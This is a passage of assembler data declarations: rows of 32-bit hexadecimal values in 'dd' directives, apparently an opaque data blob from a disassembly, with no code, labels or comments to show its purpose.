dd 148EE93Dh, 0F6622C1h, 0D30A70B8h, 28255903h, 0F9235A98h
dd 0E1B51872h, 6EF75CDFh, 80726385h, 63E2429Fh, 99E242B0h
dd 67D6B562h, 0D7EBA5BCh, 46888A1Ah, 0F9E8D6h, 567DEAC4h
dd 7E96DE23h, 28F14BA5h, 475EE588h, 58949707h, 0DCD2E9EEh
dd 0E4C9D829h, 0B31D322Fh, 50FEC1AFh, 2F9442D7h, 7F33A437h
dd 0A8FC0308h, 4A4242C0h, 8A109A69h, 67BD9FFAh, 0D864EA04h
dd 0D8653C87h, 10BA5135h, 0EC2D75DFh, 8CDE39B8h, 5C0C9120h
dd 0C64ACE25h, 0AA4B3781h, 714A74A5h, 770B473h, 0FE03207Bh
dd 0F1502DABh, 994E453Eh, 7123B122h, 0D03CB23h, 4AE3461Bh
dd 0D3EB4F9Fh, 4E5A0F55h, 75032201h, 0A6807BFEh, 0D1206659h
dd 9E1432B7h, 0B54D317Eh, 826A2B21h, 3FD39906h, 4610F60Bh
dd 5D1EC223h, 1124F4C7h, 0E284B00h, 144C6F14h, 0F213297Bh
dd 1B0FA712h, 0C436B044h, 78B0906Fh, 20961FC0h, 0C374BABEh
dd 45F4007Dh, 0C6CA9762h, 1B446F03h, 99B578E4h, 0A0C89B3Dh
dd 61EC19C2h, 619301C3h, 4B6E8984h, 6B3F1BDh, 3885734h
dd 5DA2718Ah, 2E37A171h, 7E139D1Dh, 47349E2Eh, 90CAC519h
dd 0CDE0022Ch, 0FF1A612h, 3262BF48h, 43E74077h, 6EF9897Ah
dd 0F6569ED2h, 0EE3F4E8Dh, 91858B61h, 399F4E53h, 0EDAC44BDh
dd 206C3E41h, 887DBE3Ch, 0E3F9A6A8h, 0C3EC8BB6h, 4A462093h
dd 7442FF09h, 338F4C56h, 1D764B32h, 8F169E4Eh, 74CE63F6h
dd 3D5382E4h, 520A06BAh, 0C1029D22h, 2B467AE4h, 0F1A630F2h
dd 0C881912Fh, 0DABB998Eh, 0D713E0FFh, 0BBF7E5CCh, 31714646h
dd 75D608A0h, 2E3D87C3h, 3F81A981h, 9FE076C5h, 0AD556CD5h
dd 90836D5Fh, 124407E1h, 1D088F63h, 8D1DD825h, 37B38DAEh
dd 30EF57DDh, 0F68809FFh, 0B9435825h, 26285D4Ah, 0FD9D960h
dd 0FDE5A39Ch, 2CD51C13h, 2E75D766h, 0B430AE92h, 52A08FCDh
dd 18AB3DDEh, 0D0314CADh, 964F0550h, 89D4FB4h, 86B119C7h
dd 21759296h, 71FCF2ACh, 89115DAAh, 0B7FEB217h, 79590A3Ch
dd 0CFC62902h, 9EF4CF3Fh, 0AA8AC2CDh, 0FD4CBE46h, 4D5BF052h
dd 53A598FAh, 640AA9D0h, 204FA6DBh, 1F60E408h, 49AD5BC6h
dd 28626638h, 8678EB83h, 0F19E9177h, 0A7643604h, 0ADE1DB0Eh
dd 34B769C5h, 0AE123D1Dh, 2BD7138Ch, 93DCC0A4h, 602A3936h
dd 0B842FB5Bh, 0B20583F0h, 527D9074h, 8D9C6E0Ch, 0AB42C930h
dd 0D9413786h, 0F7DBEF1Dh, 0A089C6DDh, 0F853B809h, 974123FDh
dd 64F31516h, 0EDBDA14Fh, 8CBAF201h, 4D5BFADCh, 5EF6FEBCh
dd 389D9E16h, 78BE8618h, 6A9272B1h, 2ADDA029h, 0D1D29679h
dd 346BD166h, 4A643394h, 3D5BD5B6h, 58C7E735h, 0CCF251A9h
dd 93AE4483h, 96194621h, 0FCE89738h, 0F44B28FCh, 9FD837B3h
dd 96045DC1h, 0EBA4F2DEh, 331FCC07h, 6321AD44h, 7234C5Bh
dd 882518ECh, 103AD6Bh, 2872C5F1h, 0E68CAF50h, 90BBC62Bh
dd 0D415E760h, 0E304FE48h, 0BA099E48h, 0BA249F40h, 0D9304C30h
dd 0A1AF8FBAh, 0F59403B3h, 355D937Ch, 0DA435897h, 2097FF5Bh
dd 0AA568AD8h, 977A566Ch, 3AA2B285h, 71C5FC67h, 7915FDF4h
dd 5CF69451h, 0B3A6AA3Dh, 0F6118334h, 95A8440Dh, 93781DEFh
dd 50563C25h, 75500B27h, 7B30D107h, 0E1392EB5h, 0DFFF6AA5h
dd 0B49B01E2h, 9AB0E0A0h, 212E8718h, 133A5756h, 0F64C89Bh
dd 0D41C4C85h, 33D0E91Bh, 0FCCBE119h, 54BADF6Eh, 8BE0BDCFh
dd 0F8CA2D1Ch, 0C1760A55h, 47A89C49h, 0A4D01FBEh, 0B2ACB723h
dd 4DC6AFE7h, 0EBEC75Eh, 5FBE5676h, 0C4C26E81h, 17BB80C6h
dd 0E384C79Dh, 0E0215FDCh, 92432DD3h, 0ADBABBE1h, 4C8ACB39h
dd 0E8329119h, 95B0409Bh, 88CA61D8h, 6534AF76h, 7E0DD8C2h
dd 6E334ECEh, 0ABE60321h, 2970D18Dh, 59FD2CCh, 257A4E6Ah
dd 0B665D744h, 0DC28CF5Eh, 830AAC26h, 142CB7CAh, 4D4A9495h
dd 19271FE3h, 0D597BCFEh, 0B101BFCDh, 8732938Ah, 36BFE6AEh
dd 21820BFDh, 486D704Ch, 970972C1h, 0BD42E41Fh, 0CC39DBF4h
dd 99D804F5h, 84F4486Bh, 0DAB082D4h, 433C550Bh, 629DE280h
dd 141F28A7h, 9E02C09Bh, 0A6268B01h, 6D1EF401h, 0B43DAB8Ch
dd 0F865E64Dh, 49F7ABE4h, 10C9118h, 546D837Dh, 3068B4h
dd 3E067719h, 0A4901859h, 0B66F6EF2h, 0FC4A1255h, 0CB86EA62h
dd 3FF3DA69h, 298F69D9h, 0FCB27FADh, 5249883Eh, 0C007E83Ch
dd 96F39EEDh, 5623F8AAh, 0AF264936h, 0A78ECF7Eh, 0C38DB2C6h
dd 0A7591B6Dh, 4E81D9C9h, 988865C5h, 404763DEh, 1D70A049h
dd 4262743h, 0BD22099h
dd 1B758ACDh, 0D4BD1FB8h, 3CFFC7D2h, 42B3DEA4h, 3F97D6CAh
dd 4E4564A5h, 0A5E5F48Dh, 0ACB31EC0h, 274D150h, 0B8933CBEh
dd 4FCA9852h, 0BED49F28h, 18FE44D0h, 0A0DE6D52h, 0F872E6Fh
dd 0E21979B9h, 0D625E0E9h, 3D3398CDh, 389BEE5Bh, 16D6188Ah
dd 0BD9D5E25h, 0A4EBD006h, 0C96C40F2h, 7D44E886h, 14D8605Fh
dd 0B70AD5A4h, 0B4BD7D97h, 416775A6h, 0A2AB6E9Dh, 0E984B012h
dd 65519949h, 0E80A71B5h, 80BBEB72h, 31B89180h, 0DE72245Eh
dd 92E9DFDFh, 64D42889h, 4B7A5FB5h, 2BDB5F72h, 836BFC29h
dd 636E85CCh, 54BB37D6h, 0F8D5E0A9h, 5F3474B5h, 0A4A0A90Eh
dd 6E36A7BFh, 0E7EBD373h, 302E1519h, 0B26F7CC6h, 0B62635B5h
dd 82B3B35Fh, 92552076h, 49546155h, 0AC0B9006h, 0ABAB5720h
dd 0A260C53Bh, 590F275Ah, 8B2EA7A8h, 0A6695DDDh, 0AA1471E1h
dd 52387340h, 4E825F1Ch, 0A292FC5Ch, 5367133Dh, 0B9A97F23h
dd 7195EC5h, 1CA37A73h, 63D3BAAFh, 6CA16571h, 5FFA40A2h
dd 5BADAA8Ah, 0D53D42ADh, 32B4DA88h, 1A571A00h, 0D9E1ABF6h
dd 8C2F4D64h, 0C8384CF9h, 71B724CEh, 9E2E8E9Ch, 91B6D49Ch
dd 549A3F15h, 7C68C495h, 3E49F9C3h, 7D557923h, 951A71EFh
dd 971A7D01h, 0C8747EBCh, 97E4F586h, 0D6696C8Ch, 5B67964h
dd 48E31283h, 0FD871922h, 0BFBCF341h, 0FCFEFB84h, 7DA61774h
dd 8D45CC4Eh, 0AEFCDA3Dh, 8D18DEEAh, 8F359D17h, 71CA8092h
dd 24CBB618h, 3EDC4A97h, 18CE41ABh, 9C2D0D13h, 8652071Dh
dd 8DE74A4Ch, 0A42010DBh, 482135A6h, 0BD9D91A8h, 4BAB0C0Ch
dd 497A0928h, 71DFED5Fh, 0A9E47EA7h, 98C14632h, 0CBFBB901h
dd 846B3AA6h, 180A1B3Dh, 0DD600B76h, 2DDA93C9h, 3D6BE656h
dd 8AC173A9h, 6EF7F665h, 8ADCCFFBh, 0F8099D39h, 0C7D9B827h
dd 4819CCC4h, 0BC4BDF4Bh, 88D9B8FCh, 94F30A66h, 5526E01Fh
dd 0D307F3F7h, 0FAB347F1h, 6AB6A0F1h, 4B2F3780h, 13F716Fh
dd 28F7009Fh, 7C19E35Eh, 4814AB1Eh, 2086CDFDh, 3D9752B4h
dd 0D09E9721h, 6996A764h, 3E80277Eh, 77D47E0h, 85997594h
dd 629D327h, 1B84A6A6h, 0A755A594h, 0ADFF57F6h, 94067057h
dd 0A9D291BBh, 5A04627Bh, 0C2A3FDBh, 0E4CB7CA4h, 72E6AB42h
dd 7EEB839Ch, 937733DBh, 2E354732h, 0EEC73847h, 0F484D6FFh
dd 7A7F625Fh, 6C753715h, 0C0C3E6FCh, 0E8F67F44h, 0B22D001Eh
dd 6B3CCFACh, 0BBDFA6C9h, 367043B8h, 6C4A2D91h, 4B377221h
dd 10EEF609h, 3884CD36h, 0D4A54619h, 48A2D2A6h, 7BAFC581h
dd 0EBCCB38Eh, 78DE7BADh, 72446A90h, 0FF7872B2h, 0B3A3539Ah
dd 8AA46A18h, 0D07F4AC3h, 5A164433h, 34E2DE9h, 0B0C3F1B7h
dd 5412C0EEh, 5C00CE2h, 50D97E83h, 4A988163h, 0CFC8C86Dh
dd 692B8F0Fh, 1DDB9DCCh, 87CFE336h, 0FF5CFB81h, 0A102D546h
dd 8E47030h, 0E83F1F9Fh, 0C19DB000h, 40078404h, 0AE860941h
dd 1541C03h, 89FA0610h, 0BE9495Dh, 0B09EDAA6h, 7C3530DDh
dd 0C2BDBB3Dh, 2D8B5AE7h, 3D0A1DCBh, 0EF29D085h, 0D76E44D7h
dd 77EECE9h, 0A5E72DF2h, 448E06BDh, 0A0857704h, 0C53B7E22h
dd 0AEBE4F97h, 0CD4A46CCh, 35B692D8h, 5658D351h, 0DB4F8253h
dd 0C1BBBC9Bh, 5917404Dh, 42081E2Bh, 33CC4063h, 202629D7h
dd 0F2583766h, 0FA53D94Eh, 33988A40h, 0DDAF7633h, 2A437392h
dd 0F32A9064h, 16341A09h, 7E214D46h, 0B026041Bh, 4DA5FE9Dh
dd 0D762302Bh, 77731E8h, 97AD52ACh, 22DDBA1Bh, 6BD8FBDFh
dd 3B7075F1h, 0AC1FE2E9h, 43EC112Ah, 0C3DF8B45h, 7FE465BEh
dd 7E485270h, 8FC96ACh, 0E98294ECh, 0E256B737h, 436474FFh
dd 213D9D7h, 0D6CFB47Ah, 9666B326h, 22AB1A8Bh, 0A5E59017h
dd 2A60CACCh, 0E7DCF5D1h, 22836AB1h, 41156C11h, 0C60FB3A6h
dd 860A012Ch, 0AD900808h, 0B7E8A804h, 30832B46h, 349DB604h
dd 1544D14h, 9800A0A0h, 9C46285Bh, 334B05FFh, 702B15B5h
dd 5A2A17A0h, 0FAAC0C90h, 4CC20847h, 0C782EF38h, 9B69E170h
dd 127ED664h, 0F71A2A83h, 1F1FC4D3h, 854B0D7Dh, 0A92FAD16h
dd 0CC896B76h, 2793A89Fh, 76550267h, 1C5BAECDh, 812ECDA3h
dd 0E2430490h, 3D5A64EDh, 0BC64379Ch, 217477A9h, 1984FF2Ch
dd 75F6F110h, 0E4355CC3h, 0D6AA53A1h, 8E65FBAEh, 0DF277096h
dd 0D78D150Bh, 436BA22Fh, 0AE005C0Eh, 56C7BB04h, 29A97726h
dd 3D99E594h, 0BD5BC54Dh, 0ED9E5415h, 0E1990D87h, 5E556592h
dd 0F85AE678h, 50D9E845h, 83B1715Dh, 8E3BB065h, 0B9458667h
dd 5DBB599h, 5B474534h, 66D0E83Ah, 0D8E7DBBCh, 1468B784h
dd 0E5E59D79h, 0E5109E14h, 5CEADA22h, 28D98B0Ah, 5138C517h
dd 42679BC8h, 9837A679h, 2CC1FE68h, 0BCF7B436h, 0DF414460h
dd 0C9FEE864h, 0EE4A1034h, 0AACCFC81h, 90E024ADh, 0B2FB98D0h
dd 7A67A888h, 72700D15h, 4AD5C15Ch, 0E5FA5364h, 33DA6E2h
dd 8616CD45h, 0C099746Ah, 7BB56F6Eh, 7ACA02Ch, 0F5C9488Ch
dd 0B8F65B99h, 0D1C1CECBh, 0B5AA277h, 9C84E582h, 0CA9F3CEBh
dd 0EE7D5BF8h, 3F11DCE1h, 948294CAh, 1B7516ECh, 44B7717Dh
dd 0DEDE459Fh, 3B8E0C19h, 35A20F7Ah, 9374B685h, 3188D4F3h
dd 0F22DA1FBh, 0D2423F3Bh, 0D2FD119Ch, 5E880216h, 8BD1559Fh
dd 3B3320D5h, 0AAD8C2F3h, 0DB726E72h, 0E8B1E432h, 5EA534F0h
dd 68728CE8h, 0D99FF3E7h, 6CB985ECh, 8CC58729h, 7E0A9C90h
dd 849E298Fh, 9445AD77h, 0F00CAEF4h, 0BD7C2FEDh, 8940A03Ah
dd 0F21BBAACh, 0D3F402DDh, 42C10DEAh, 9BA25CCh, 0EF802CA5h
dd 95AEBD4Fh, 0E16C8DEh, 4A3E4375h, 76DC877Eh, 0EB238C57h
dd 0AAE67C37h, 0F9673696h, 56069DE6h, 94AD2033h, 42884A8Fh
dd 461B501h, 74F7084Bh, 0F17A448Eh, 0C8AF5FBFh, 0DA60B80Eh
dd 2A68DF8Ch, 0EF747EC6h, 5A842912h, 1C787C08h, 261F80CCh
dd 9B2A21F9h, 5A2FB426h, 0C9431445h, 0E1DEC278h, 2F422588h
dd 155D89C3h, 15F865Fh, 0B9B7DA32h, 0A98B3127h, 63E97BFCh
dd 469F9F4Ch, 7DE0E8A6h, 661B00D9h, 7D0ED66h, 7DC9153h
dd 0E9963866h, 0E18B35B6h, 6C32196Bh, 5244DD67h, 9BE9B47Ah
dd 0B7106E62h, 0E9ACDEFDh, 719F5F39h, 4856CD21h, 0D7353048h
dd 31DE438Ch, 0A9ADCE05h, 0B471ED20h, 69539BD3h, 0E83E59F1h
dd 2E002F30h, 439DDC4Dh, 0D9EF56F5h, 93DA251Dh, 961A17A2h
dd 0B91237C3h, 0A9596CF3h, 0CF50FC0Bh, 6A30BDE3h, 2AE06FD6h
dd 0FA982471h, 611B412Ch, 0B2C3BBF0h, 61A2FC20h, 106D4512h
dd 0F6968Dh, 0A6B3B680h, 8D7038E5h, 0D5E5190Ch, 84441EC7h
dd 1409EDFFh, 7A695112h, 67B26A9Fh, 1EFDE256h, 0FBE270EBh
dd 0F287C802h, 62715468h, 0CA8A260h, 2E9948B6h, 1C2E14D1h
dd 6DE7D9h, 25DA7A95h, 4C4B1AFFh, 0E7D92AB1h, 724FB9D8h
dd 131DA557h, 0C19A0C1h, 2EE5796Ch, 6FD74D4h, 50CFAEB6h
dd 318D05E4h, 0A4E132C1h, 0C300A05Dh, 0EF082739h, 0A1FAB7F7h
dd 5737BABBh, 9EA65236h, 0D222B379h, 1D5E6005h, 4D831E02h
dd 884C0DC8h, 0CAC10411h, 0F4FA2F3Fh, 8E18A951h, 0C436E9E6h
dd 23C15D4Ch, 0CB0706CCh, 0E58BD7FDh, 0AD4B536Eh, 2040783Eh
dd 21603589h, 45F02701h, 15C1A1C6h, 2BB6AD6Eh, 321BD590h
dd 3E0D1733h, 0CC74D9D8h, 70AF9F91h, 0C080AD67h, 830B5FC9h
dd 47F53FF6h, 2A8A84CFh, 31EFF3EEh, 0F58C2891h, 798426BFh
dd 890BAC59h, 6C2751D2h, 0B3F989B0h, 2AABEA2Fh, 8879673h
dd 0C28C0657h, 8A293C14h
dd 0E2E32023h, 70BA2EBh, 96365044h, 94C8044Ch, 194856A5h
dd 0E170C8F7h, 91E2B4CBh, 0BBBE5273h, 0CFBAB940h, 837360A1h
dd 301153h, 0A0A72192h, 0CBCF896h, 9BB4AF3Dh, 3D3256C9h
dd 6D6B3C2Dh, 6CD05E9Fh, 0C652A6F1h, 5CB171A6h, 0FB0E2FD1h
dd 0C9C610E0h, 0AD07FB27h, 0B019DE40h, 2BA6CF3Eh, 0FF577CEh
dd 0C9342AF0h, 4321551Bh, 1080B193h, 0BAEE46B2h, 30AA73E1h
dd 316B10Ah, 0C51F9B11h, 82E47DBBh, 0F4652477h, 0C38C862h
dd 83FAE1F7h, 0FC4DB3C3h, 3313C11Ah, 7A25D6B7h, 4D8DF35Dh
dd 24A2016Ah, 8A22CC00h, 0BC47C047h, 82DFD474h, 5904C475h
dd 0ED5811C7h, 1FECFFE3h, 0F0C8F752h, 7F8D519h, 3F242A8Ah
dd 0CE0C51F2h, 248E06B4h, 0E83081C5h, 0CEB0F13Ch, 0DA14C254h
dd 9930AF09h, 6C41A245h, 34EE9B0Eh, 0C765A3F3h, 798E5AB6h
dd 9D10A3FFh, 15AC4DF1h, 0AA495162h, 0E50057BCh, 0E90DAE77h
dd 4A00F238h, 0BA8028C7h, 0C9B25C8Bh, 0C8E8DFEh, 3920275Eh
dd 806D0A1h, 7C81EAA2h, 0CD8740A1h, 0D411D89Ch, 4C2736BAh
dd 0DEEBDEC0h, 296D4DAFh, 1FF0F7AAh, 79A1341Ah, 0F14DEB82h
dd 0DEE7D979h, 27E8A3F3h, 0A1DD4A68h, 0A5AA682Ch, 16177F78h
dd 9D568A0Ch, 59808EA4h, 531792CCh, 2A029A6Ah, 599E183Fh
dd 0EEA2261Dh, 0E01AC506h, 0F5E9FF01h, 0A76F19D7h, 3C8B150h
dd 86FF7151h, 76C1ABEAh, 0E40091ACh, 0EC7D2B5Dh, 0AF231EB1h
dd 261A599Dh, 0CDE62B31h, 0DF47F87Ch, 1617DA8Dh, 0DD36D013h
dd 8B1BEDA8h, 2778B821h, 48082E85h, 10DD95C9h, 1AACE262h
dd 69D23B8Bh, 5E709E1Ah, 0F52C2CD6h, 2B292F45h, 4C184FA9h
dd 0F382999Ch, 9B2CD7Bh, 3ECE5B38h, 529C7819h, 0B8ED3779h
dd 31BD4CEEh, 0CD6FEA6Dh, 1EEF7E02h, 42E38EDCh, 0E84C1F7Ch
dd 12881F79h, 2A7B3178h, 0F3BF40C9h, 443B99CEh, 0F90C14FAh
dd 0FEA7173Eh, 0F0996BDh, 0FD849FB7h, 434BFC02h, 715A7EABh
dd 0B8A3BEF7h, 5ADECFBh, 7000C19Bh, 4F5F3DDh, 313C0F98h
dd 443FD6CAh, 93F2D0C5h, 1EA80DEDh, 606D5880h, 0F4564E7Dh
dd 0AD1389CDh, 0C8108539h, 2CC657F0h, 7D061184h, 90F93EEDh
dd 1D513E03h, 249DE543h, 9C40086Fh, 9089709Eh, 2574B4BEh
dd 7D432CC6h, 0D502F58h, 5005B7CFh, 8AEE92C4h, 0CA31F4Eh
dd 0C8D9EA94h, 3BB46DB8h, 0E0C282B1h, 41B4A55Fh, 4BD85513h
dd 88321B5Eh, 4E490D42h, 0A1EF08A6h, 65BF4CF3h, 7E41EF0Dh
dd 3EFA331Ah, 7F30C3F6h, 4084336Dh, 94842A45h, 0DB54962Ah
dd 98673E07h, 171C4E21h, 0D508E6C3h, 68175F8Ah, 0FA53418h
dd 0B28A61FCh, 9B7CF5D6h, 12BADF8Ch, 0B975F897h, 9496542Ah
dd 7D4F2A62h, 0F13FDF93h, 0B36A6A7Dh, 846D8793h, 371DBAB4h
dd 0F9756DB5h, 0CC22F88h, 7E35365Ch, 0CCC0840h, 2F33FF7Ch
dd 458559C1h, 0F74E041Dh, 1347FDCCh, 0D25CEBA1h, 0CB4DA849h
dd 0CABCEA4h, 0E17C66A2h, 7BD1F96Bh, 6864E423h, 0F40ACB68h
dd 83E5A11Ch, 3295AEB6h, 0BEADD9AAh, 0E1FDBE3Bh, 3704DD9Fh
dd 0EB01F806h, 2D2DA9B2h, 77B7791Dh, 0B34CF2D8h, 71931E4Bh
dd 0A95CC307h, 43BCF9E9h, 898E3874h, 463BE590h, 3499448Dh
dd 3020548Bh, 2AA6CB52h, 0D8B0F326h, 0F21E650Ah, 3C8513ACh
dd 0C4706932h, 0F7BEBE5Dh, 38677A54h, 0EA10606Ch, 78EDCEE1h
dd 85D93237h, 0E616B6A7h, 9FEB3052h, 0B77A6D5h, 0C5911791h
dd 62166D30h, 49C09C88h, 0AA72C478h, 0D2BB4641h, 89F96DFh
dd 56A06401h, 0E87C3F9Ah, 46830315h, 1EC397DAh, 3ED7AE57h
dd 3CDE75A5h, 56CF9442h, 0B58F2796h, 56525D9Ah, 0A09C60AFh
dd 0C72771B9h, 64CDF92Dh, 4329D472h, 0BA3F20EEh, 57F1E4C8h
dd 0C36D9088h, 0D5A13A01h, 92723837h, 0CE654EBCh, 93FFCB42h
dd 12E5C1A1h, 3D1C258Fh, 0C2C7241Ah, 49518AE3h, 10397896h
dd 407E896h, 321C3853h, 18EFBAFCh, 0A24EFBF6h, 0CD3A40D8h
dd 0BAB54B40h, 3BA84711h, 0F7FD405Bh, 0E3D21121h, 71BF7090h
dd 39DBC247h, 750AA09Bh, 87A4F059h, 6E9D5CC5h, 7EB03A80h
dd 0C1EB1B48h, 0AC41FAFEh, 8B7CE7A4h, 0F6296F16h, 9E83110h
dd 0E390A09Ah, 0B2212E3Ah, 0B631BF64h, 0D915D1AFh, 4358B0FEh
dd 65B88844h, 4CA1FE0h, 702B2A93h, 75A13EDEh, 7EA4A736h
dd 2B8A5CC4h, 1C83E321h, 43B76479h, 0E6F364F2h, 0DE2EB2ADh
dd 9F21261Ah, 79ED913Eh, 0C3B28898h, 95946114h, 92822D49h
dd 1674CA87h, 0FF7CB54Fh, 0EFD4D084h, 9BC2B6BAh, 66B3828Ch
dd 2C77DC68h, 854A7A9Bh, 0F1372307h, 0A330633Fh, 888C4C2h
dd 7D6EBCB0h, 3D78112Ch, 0A1F0FBE5h, 0EB8D410Ch, 0E55F6BE9h
dd 0DDDE6100h, 0B8AF1F94h, 0A67CFA24h, 0E2B05BFBh, 0DA526EABh
dd 0C5A980DBh, 7BA90D5Ah, 6D7EE4A1h, 14FACB16h, 5A45821Ch
dd 2CE4675Bh, 1751EBBBh, 48A9B805h, 0EAC2B20Ah, 4092E9F2h
dd 2C9910BCh, 0FE8EF48Dh, 0F592411Dh, 557E2F0Dh, 1007AC0Fh
dd 63F3658Eh, 591CF4CFh, 7568BE31h, 0ECD4B3EEh, 0AB6DED5Bh
dd 43F5ECF1h, 755907F6h, 713FC07Ah, 0FDA0B8E5h, 816AC808h
dd 0A5F428EAh, 49AE90ECh, 31936177h, 0C5E2413Ah, 113FBEC1h
dd 0B9B8A5B3h, 6CEB1A4Ah, 6EE0A963h, 1CF60A56h, 18C0E5DBh
dd 3E208541h, 0D0CDC5D4h, 28A20791h, 5F7DC89Bh, 0BE08EA84h
dd 0D703BE21h, 35C633C0h, 213DA71Eh, 0A52EBD8h, 7A06C49Ah
dd 706C891Ch, 52EA856Bh, 0D79368Eh, 80DA19DFh, 450F76DAh
dd 4770046Bh, 917D42FCh, 0E93FFE68h, 0FD7CB84Ah, 96BBC539h
dd 0C0287D4h, 0F70A0B0Ah, 0EC2E8574h, 0E2BC4305h, 0CAB9DCD7h
dd 3EE425F3h, 992CEF13h, 79BC03D9h, 0E7B5FE35h, 0C89E129Ch
dd 57B389A4h, 0BB0583ACh, 74608423h, 8CC1CC3Eh, 95B0746Fh
dd 8100A15Eh, 8290E7E6h, 79C7A9EBh, 4ADF5318h, 268A7489h
dd 589B1185h, 3D719DAAh, 58CC1C64h, 99032887h, 9FB41651h
dd 0DD633D0Ch, 0A8558CEDh, 0E217F226h, 8B319EACh, 30A0FEA1h
dd 0B4393182h, 6DA78C01h, 8C12B0Eh, 3D0C6BC0h, 0BA2C9019h
dd 0F515AE7Dh, 15F7894Dh, 0A9D26C4h, 6F281A27h, 6A3655CFh
dd 6DE2E4E9h, 0A45F224Eh, 9167A55Ah, 5ABA3F21h, 9241A757h
dd 0C8FA1D7Ah, 4F102E0Bh, 0EFAF3FF4h, 0FE47879Fh, 0DFF15467h
dd 0C2ED4A3Dh, 2090421h, 0C0E3DA68h, 32EFFAD9h, 81D83F60h
dd 3F29286Ch, 8EFFD2C6h, 0AE0F0A9Bh, 0BAA4F7FEh, 7991029Ch
dd 6CFBF897h, 277A8EEBh, 8AD109ADh, 9BA0D9A3h, 18E1BCB0h
dd 2A662D17h, 0A50C753Ch, 0A08B4725h, 8645BD64h, 0E3700A8h
dd 27E1A26Ah, 398552AFh, 0C4A40441h, 0A5E65D55h, 1D5AD5Fh
dd 0E15F580h, 48FDB8FBh, 6E24ABECh, 0B75A69F9h, 0B344E717h
dd 0B1CB046h, 206D7083h, 0B7A1F361h, 4246CF55h, 11712E4Ch
dd 8B6D8224h, 5BB71EF8h, 431F8FE8h, 40149F9Dh, 38D38FEh
dd 29D8E0C6h, 0D5D7D08h, 0E2E39A56h, 698F32C4h, 5FD210EFh
dd 4F43D34Dh, 8BBA8219h, 2D01B239h, 5EC2334Ch, 0C0EF16E6h
dd 4D113200h, 9B1532C6h, 54E34E66h, 0CE856F7Ch, 2907B541h
dd 1E6E0A27h, 6AC86A1Fh, 6A233141h, 0C5EDF7A2h, 0FC026ACAh
dd 0C9DAC65Eh, 0C359BF3Ah, 588E3E14h, 0D0952BD5h, 12710C66h
dd 22FC63ABh, 241C2790h, 88E49F47h, 0F094BCB9h, 0A4216827h
dd 4439BA95h, 63DCF6F9h, 9E5CABD6h, 0DB35DF24h, 0D7D6056Bh
dd 61D17912h, 0BA945D64h, 17A34FE4h, 0B63CD843h, 750A038Bh
dd 0C3D71C80h, 7D5E9E03h
dd 155E5C7h, 487641CDh, 73A9779Ch, 9BE5967Fh, 4A5B3BBBh
dd 9B1653B1h, 5E035EF3h, 941FC242h, 0FEF3E940h, 9CC55B72h
dd 88F57ECAh, 3998FCBh, 60BBF419h, 0E2B62E56h, 0A4DC9CD1h
dd 0DF613785h, 476E3A9Ch, 898ED42h, 0E4EFB93Fh, 1CF2FC75h
dd 0F40D2B99h, 0F92D0822h, 64E4752Bh, 3CE75B5Dh, 0D2386DE4h
dd 0D50B14Ah, 0B0B0F411h, 8CE4A2F0h, 94DB89A2h, 4BAD8CBEh
dd 90AB2BCAh, 11F5418Eh, 0D7D185BAh, 0BAE73B07h, 67593BE4h
dd 8CF243B8h, 0FD6B06B3h, 0CE66E5EDh, 17E7D74h, 0FE4B2C25h
dd 8CF6B072h, 0F1C40AF4h, 6768B869h, 0EFA44335h, 5B694CE5h
dd 0F8942397h, 3BE17F2Ch, 0EE125165h, 68CA221h, 0E7FB3929h
dd 0A006C72Dh, 75891F02h, 7C5AC625h, 27E57B87h, 0BB0A0AB7h
dd 756E533Ch, 0A8227E2Ch, 50825A78h, 0C6D3CFADh, 37CAFE07h
dd 0EB586267h, 6AFCAE7Eh, 0D5BA9D5Dh, 3399824h, 8BF1C010h
dd 4F969312h, 9D1FEE30h, 2288E32Dh, 19E8F42Dh, 1A9D911h
dd 9503568Bh, 0F394A95Fh, 0F90580E4h, 482CDADh, 67B98255h
dd 0CB9FC16Fh, 59A6D46Ah, 9895FB11h, 0E40ED53Ah, 0D65D0EC5h
dd 2E6FCAAFh, 0E1A17E0Ch, 6EA54027h, 0BD77464Dh, 83F450D2h
dd 0E735C908h, 2ADF70DAh, 0AF7FD2B4h, 0F2948225h, 0F66FB65h
dd 59018AC3h, 0FFECB9EEh, 0A3CE062Ah, 0DED4A71Bh, 86047ACFh
dd 9A16BB96h, 0F78E6CB2h, 7FEB31B3h, 46507FA2h, 365D9AE0h
dd 0B65C8CE6h, 0C5EC8A9Ch, 10FB782Dh, 0A0177D8Fh, 0C526E868h
dd 6954B7DAh, 4CA1C183h, 2EFF4537h, 0F812189h, 51A7947Ch
dd 852CD918h, 0F4D0964Eh, 1D20FDA8h, 8257FFEAh, 0DE9D531Eh
dd 30442A77h, 0A39D9698h, 1CAAB5FDh, 38D3264Ah, 96967D3Ah
dd 0DF9E2F5Ah, 58C2E817h, 2B983DDDh, 0FE2229E7h, 54608957h
dd 8421BC6Fh, 79C3705Dh, 2428E2B7h, 0B89A171h, 0D04BAAFh
dd 1E948E42h, 739F9431h, 0CED3962Ch, 418775FEh, 0B79C4E54h
dd 0FD5442Ah, 1CE56B5Fh, 4FF55ED0h, 0E8C05DF5h, 0A3DF76A3h
dd 0AD94092Dh, 8B648D79h, 0C3E95CB7h, 0F0C40DD4h, 6082C04Fh
dd 3E772C8Ch, 0AF55D0D2h, 0C2C36E1Fh, 9B019FFAh, 90282734h
dd 81B7FB76h, 91F78A1Fh, 0C5EA25A3h, 2B61AB2Fh, 0AFF96589h
dd 71B0EA2h, 30BB57FBh, 791CAF37h, 0CA9EC966h, 8361514h
dd 0BA6AD111h, 0C220FFCAh, 5A60B9DCh, 0A3F97E4h, 6E425C91h
dd 57343F78h, 0B3F3893Ch, 292CDA51h, 0E26774A1h, 0A45FF2B2h
dd 2EB54A3h, 6B0A6499h, 1C63FE90h, 1F06574Ch, 7CF524A7h
dd 3245A2F9h, 5079DE89h, 9D67F498h, 630C6E07h, 8A64ACCh
dd 574A52C2h, 0D75B296Bh, 0F764346Bh, 792414CBh, 0E79AF54Fh
dd 508E1B5Bh, 5385F133h, 0E656E447h, 5DF6A5AEh, 47FB0E69h
dd 1F22BE39h, 119648C9h, 68B91E76h, 2F3C1330h, 58CB9941h
dd 6C2131Ah, 0AA042590h, 0CA0D10DCh, 36FE20F2h, 4CC789E3h
dd 0E108084Ch, 0DB2A1367h, 0D0D29A5h, 5A07A0A5h, 99E938E4h
dd 68C6C9FDh, 5A4FA9B0h, 0F78FBFF2h, 0BD7F8AD1h, 49736901h
dd 0D048B5B7h, 1B3640FEh, 477F5F55h, 0D0ED1EE4h, 0C789A869h
